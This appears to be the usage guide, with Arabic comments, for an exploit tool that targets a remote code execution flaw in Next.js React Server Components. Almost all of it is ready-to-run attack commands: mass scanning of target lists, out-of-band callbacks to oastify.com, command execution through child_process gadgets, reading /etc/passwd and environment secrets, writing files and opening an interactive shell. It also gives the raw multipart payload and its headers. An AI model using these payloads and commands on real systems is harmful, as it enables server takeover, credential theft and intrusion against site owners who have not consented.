pip install requests

# فحص أساسي للثغرة
python3 exploit-custom.py -u https://target.com --check

# فحص شامل للثغرة (موصى به)
python3 exploit-custom.py -u https://target.com --scan

# مع وكيل (Burp Suite)
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# اختبار استدعاء خارج النطاق (OOB)
python3 exploit-custom.py -u https://target.com --oob your-id.oastify.com

# تنفيذ أمر
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# شل تفاعلي
python3 exploit-custom.py -u https://target.com --shell

usage: exploit-custom.py [-h] (-u URL | -l URL_LIST) [-p PROXY] [-c COOKIES]
                         [-H HEADER] [-t THREADS] [--timeout TIMEOUT]
                         [--check] [--detect] [--scan] [--test-all]
                         [--oob HOST] [--cmd CMD] [--gadget GADGET]
                         [--read FILE] [--write FILE CONTENT] [--js JS]
                         [--shell] [-o OUTPUT] [-q]

# كشف Next.js و RSC
python3 exploit-custom.py -u https://target.com --detect

# فحص سريع للثغرة
python3 exploit-custom.py -u https://target.com --check

# فحص شامل مع جميع حمولات الكشف
python3 exploit-custom.py -u https://target.com --scan

# اختبار جميع الأدوات مع التحقق عبر OOB
python3 exploit-custom.py -u https://target.com --test-all --oob xyz.oastify.com

# مسح أهداف متعددة
python3 exploit-custom.py -l targets.txt --scan -o results.json

# مع زيادة الخيوط
python3 exploit-custom.py -l targets.txt --scan -t 20 -o results.json

# مع استدعاءات OOB
python3 exploit-custom.py -l targets.txt --oob xyz.oastify.com -o results.json

# باستخدام الأداة الافتراضية (execSync)
python3 exploit-custom.py -u https://target.com --cmd "whoami"

# باستخدام أداة محددة
python3 exploit-custom.py -u https://target.com --cmd "id" --gadget spawnSync
python3 exploit-custom.py -u https://target.com --cmd "cat /etc/passwd" --gadget execFileSync

# قراءة ملف
python3 exploit-custom.py -u https://target.com --read /etc/passwd
python3 exploit-custom.py -u https://target.com --read /proc/self/environ

# كتابة ملف
python3 exploit-custom.py -u https://target.com --write /tmp/pwned.txt "pwned"

# الحصول على متغيرات البيئة
python3 exploit-custom.py -u https://target.com --js "JSON.stringify(process.env)"

# الحصول على اسم المضيف
python3 exploit-custom.py -u https://target.com --js "require('os').hostname()"

# سرد الدليل
python3 exploit-custom.py -u https://target.com --js "require('fs').readdirSync('/')"

python3 exploit-custom.py -u https://target.com --shell

[VULN] property_reference          تم كشف نمط ثغرة!
        -> نمط الملخص: E{"digest"... (يحتاج تحقق OOB)
[SAFE] property_reference_v2       HTTP 200
[500]  action_ref_vm               digest:12345

0:{"a":"$@1","b":"$@2"}
1:E{"digest":"12345"}

------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------CVE2025Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"child_process#execSync","bound":["whoami"]}
------CVE2025Boundary--

Content-Type: multipart/form-data; boundary=----CVE2025Boundary
Accept: text/x-component
Next-Action: <random-uuid>
RSC: 1
Next-Router-State-Tree: [[["",{"children":["__PAGE__",{}]},null,null,true]]

# 1. إعداد قائمة الأهداف
echo "https://app.example.com" > targets.txt
echo "https://api.example.com" >> targets.txt

# 2. مسح جماعي
python3 exploit-custom.py -l targets.txt --scan -o results.json

# 3. تحقق باستخدام OOB
python3 exploit-custom.py -u https://vuln.example.com --oob your-id.oastify.com

# 1. كشف التقنية
python3 exploit-custom.py -u https://target.com --detect

# 2. تحليل باستخدام Burp
python3 exploit-custom.py -u https://target.com --scan -p http://127.0.0.1:8080

# 3. استغلال
python3 exploit-custom.py -u https://target.com --shell